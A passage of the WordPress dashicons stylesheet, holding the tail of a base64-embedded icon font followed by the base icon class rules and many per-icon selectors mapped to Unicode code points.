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") format("woff"), url("../fonts/dashicons.ttf?99ac726223c749443b642ce33df8b800") format("truetype"); font-weight: 400; font-style: normal; } /* stylelint-enable */ .dashicons, .dashicons-before:before { font-family: dashicons; display: inline-block; line-height: 1; font-weight: 400; font-style: normal; speak: never; text-decoration: inherit; text-transform: none; text-rendering: auto; -webkit-font-smoothing: antialiased; -moz-osx-font-smoothing: grayscale; width: 20px; height: 20px; font-size: 20px; vertical-align: top; text-align: center; transition: color 0.1s ease-in; } /* Icons */ .dashicons-admin-appearance:before { content: "\f100"; } .dashicons-admin-collapse:before { content: "\f148"; } .dashicons-admin-comments:before { content: "\f101"; } .dashicons-admin-customizer:before { content: "\f540"; } .dashicons-admin-generic:before { content: "\f111"; } .dashicons-admin-home:before { content: "\f102"; } .dashicons-admin-links:before { content: "\f103"; } .dashicons-admin-media:before { content: "\f104"; } .dashicons-admin-multisite:before { content: "\f541"; } .dashicons-admin-network:before { content: "\f112"; } .dashicons-admin-page:before { content: "\f105"; } .dashicons-admin-plugins:before { content: "\f106"; } .dashicons-admin-post:before { content: "\f109"; } .dashicons-admin-settings:before { content: "\f108"; } .dashicons-admin-site-alt:before { content: "\f11d"; } .dashicons-admin-site-alt2:before { content: "\f11e"; } .dashicons-admin-site-alt3:before { content: "\f11f"; } .dashicons-admin-site:before { content: "\f319"; } .dashicons-admin-tools:before { content: "\f107"; } .dashicons-admin-users:before { content: "\f110"; } .dashicons-airplane:before { content: "\f15f"; } .dashicons-album:before { content: "\f514"; } .dashicons-align-center:before { content: "\f134"; } .dashicons-align-full-width:before { content: "\f114"; } .dashicons-align-left:before { content: "\f135"; } .dashicons-align-none:before { content: "\f138"; } .dashicons-align-pull-left:before { content: "\f10a"; } .dashicons-align-pull-right:before { content: "\f10b"; } .dashicons-align-right:before { content: "\f136"; } .dashicons-align-wide:before { content: "\f11b"; } .dashicons-amazon:before { content: "\f162"; } .dashicons-analytics:before { content: "\f183"; } .dashicons-archive:before { content: "\f480"; } .dashicons-arrow-down-alt:before { content: "\f346"; } .dashicons-arrow-down-alt2:before { content: "\f347"; } .dashicons-arrow-down:before { content: "\f140"; } .dashicons-arrow-left-alt:before { content: "\f340"; } .dashicons-arrow-left-alt2:before { content: "\f341"; } .dashicons-arrow-left:before { content: "\f141"; } .dashicons-arrow-right-alt:before { content: "\f344"; } .dashicons-arrow-right-alt2:before { content: "\f345"; } .dashicons-arrow-right:before { content: "\f139"; } .dashicons-arrow-up-alt:before { content: "\f342"; } .dashicons-arrow-up-alt2:before { content: "\f343"; } .dashicons-arrow-up-duplicate:before { content: "\f143"; } .dashicons-arrow-up:before { content: "\f142"; } .dashicons-art:before { content: "\f309"; } .dashicons-awards:before { content: "\f313"; } .dashicons-backup:before { content: "\f321"; } .dashicons-bank:before { content: "\f16a"; } .dashicons-beer:before { content: "\f16c"; } .dashicons-bell:before { content: "\f16d"; } .dashicons-block-default:before { content: "\f12b"; } .dashicons-book-alt:before { content: "\f331"; } .dashicons-book:before { content: "\f330"; } .dashicons-buddicons-activity:before { content: "\f452"; } .dashicons-buddicons-bbpress-logo:before { content: "\f477"; } .dashicons-buddicons-buddypress-logo:before { content: "\f448"; } .dashicons-buddicons-community:before { content: "\f453"; } .dashicons-buddicons-forums:before { content: "\f449"; } .dashicons-buddicons-friends:before { content: "\f454"; } .dashicons-buddicons-groups:before { content: "\f456"; } .dashicons-buddicons-pm:before { content: "\f457"; } .dashicons-buddicons-replies:before { content: "\f451"; } .dashicons-buddicons-topics:before { content: "\f450"; } .dashicons-buddicons-tracking:before { content: "\f455"; } .dashicons-building:before { content: "\f512"; } .dashicons-businessman:before { content: "\f338"; } .dashicons-businessperson:before { content: "\f12e"; } .dashicons-businesswoman:before { content: "\f12f"; } .dashicons-button:before { content: "\f11a"; } .dashicons-calculator:before { content: "\f16e"; } .dashicons-calendar-alt:before { content: "\f508"; } .dashicons-calendar:before { content: "\f145"; } .dashicons-camera-alt:before { content: "\f129"; } .dashicons-camera:before { content: "\f306"; } .dashicons-car:before { content: "\f16b"; } .dashicons-carrot:before { content: "\f511"; } .dashicons-cart:before { content: "\f174"; } .dashicons-category:before { content: "\f318"; } .dashicons-chart-area:before { content: "\f239"; } .dashicons-chart-bar:before { content: "\f185"; } .dashicons-chart-line:before { content: "\f238"; } .dashicons-chart-pie:before { content: "\f184"; } .dashicons-clipboard:before { content: "\f481"; } .dashicons-clock:before { content: "\f469"; } .dashicons-cloud-saved:before { content: "\f137"; } .dashicons-cloud-upload:before { content: "\f13b"; } .dashicons-cloud:before { content: "\f176"; } .dashicons-code-standards:before { content: "\f13a"; } .dashicons-coffee:before { content: "\f16f"; } .dashicons-color-picker:before { content: "\f131"; } .dashicons-columns:before { content: "\f13c"; } .dashicons-controls-back:before { content: "\f518"; } .dashicons-controls-forward:before { content: "\f519"; } .dashicons-controls-pause:before { content: "\f523"; } .dashicons-controls-play:before { content: "\f522"; } .dashicons-controls-repeat:before { content: "\f515"; } .dashicons-controls-skipback:before { content: "\f516"; } .dashicons-controls-skipforward:before { content: "\f517"; } .dashicons-controls-volumeoff:before { content: "\f520"; } .dashicons-controls-volumeon:before { content: "\f521"; } .dashicons-cover-image:before { content: "\f13d"; } .dashicons-dashboard:before { content: "\f226"; } .dashicons-database-add:before { content: "\f170"; } .dashicons-database-export:before { content: "\f17a"; } .dashicons-database-import:before { content: "\f17b"; } .dashicons-database-remove:before { content: "\f17c"; } .dashicons-database-view:before { content: "\f17d"; } .dashicons-database:before { content: "\f17e"; } .dashicons-desktop:before { content: "\f472"; } .dashicons-dismiss:before { content: "\f153"; } .dashicons-download:before { content: "\f316"; } .dashicons-drumstick:before { content: "\f17f"; } .dashicons-edit-large:before { content: "\f327"; } .dashicons-edit-page:before { content: "\f186"; } .dashicons-edit:before { content: "\f464"; } .dashicons-editor-aligncenter:before { content: "\f207"; } .dashicons-editor-alignleft:before { content: "\f206"; } .dashicons-editor-alignright:before { content: "\f208"; } .dashicons-editor-bold:before { content: "\f200"; } .dashicons-editor-break:before { content: "\f474"; } .dashicons-editor-code-duplicate:before { content: "\f494"; } .dashicons-editor-code:before { content: "\f475"; } .dashicons-editor-contract:before { content: "\f506"; } .dashicons-editor-customchar:before { content: "\f220"; } .dashicons-editor-expand:before { content: "\f211"; } .dashicons-editor-help:before { content: "\f223"; } .dashicons-editor-indent:before { content: "\f222"; } .dashicons-editor-insertmore:before { content: "\f209"; } .dashicons-editor-italic:before { content: "\f201"; } .dashicons-editor-justify:before { content: "\f214"; } .dashicons-editor-kitchensink:before { content: "\f212"; } .dashicons-editor-ltr:before { content: "\f10c"; } .dashicons-editor-ol-rtl:before { content: "\f12c"; } .dashicons-editor-ol:before { content: "\f204"; } .dashicons-editor-outdent:before { content: "\f221"; } .dashicons-editor-paragraph:before { content: "\f476"; } .dashicons-editor-paste-text:before { content: "\f217"; } .dashicons-editor-paste-word:before { content: "\f216"; } .dashicons-editor-quote:before { content: "\f205"; } 